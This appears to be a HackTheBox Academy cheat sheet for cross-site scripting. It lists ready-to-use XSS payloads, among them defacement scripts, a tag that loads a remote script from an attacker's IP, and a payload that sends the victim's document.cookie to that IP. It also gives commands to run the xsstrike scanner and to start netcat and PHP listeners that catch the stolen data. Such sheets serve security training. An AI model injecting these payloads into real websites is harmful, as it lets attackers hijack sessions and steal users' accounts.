HACKTHEBOX

CROSS-SITE SCRIPTING (XSS)

CHEAT SHEET

Commands

Code	Description
XSS Payloads	
`<script>alert(window.origin)</script>`	Basic XSS Payload
`<plaintext>`	Basic XSS Payload
`<script>print()</script>`	Basic XSS Payload
`<img src="" onerror=alert(window.origin)>`	HTML-based XSS Payload
`<script>document.body.style.background = "#141d2b"</script>`	Change Background Color
`<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>`	Change Background Image
`<script>document.title = 'HackTheBox Academy'</script>`	Change Website Title
`<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>`	Overwrite website's main body
`<script>document.getElementById('urlform').remove();</script>`	Remove certain HTML element

Code	Description
`<script src="http://OUR_IP/script.js"></script>`	Load remote script
`<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>`	Send Cookie details to us
Commands	
`python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"`	Run `xsstrike` on a url parameter
`sudo nc -lvnp 80`	Start `netcat` listener
`sudo php -S 0.0.0.0:80`	Start `PHP` server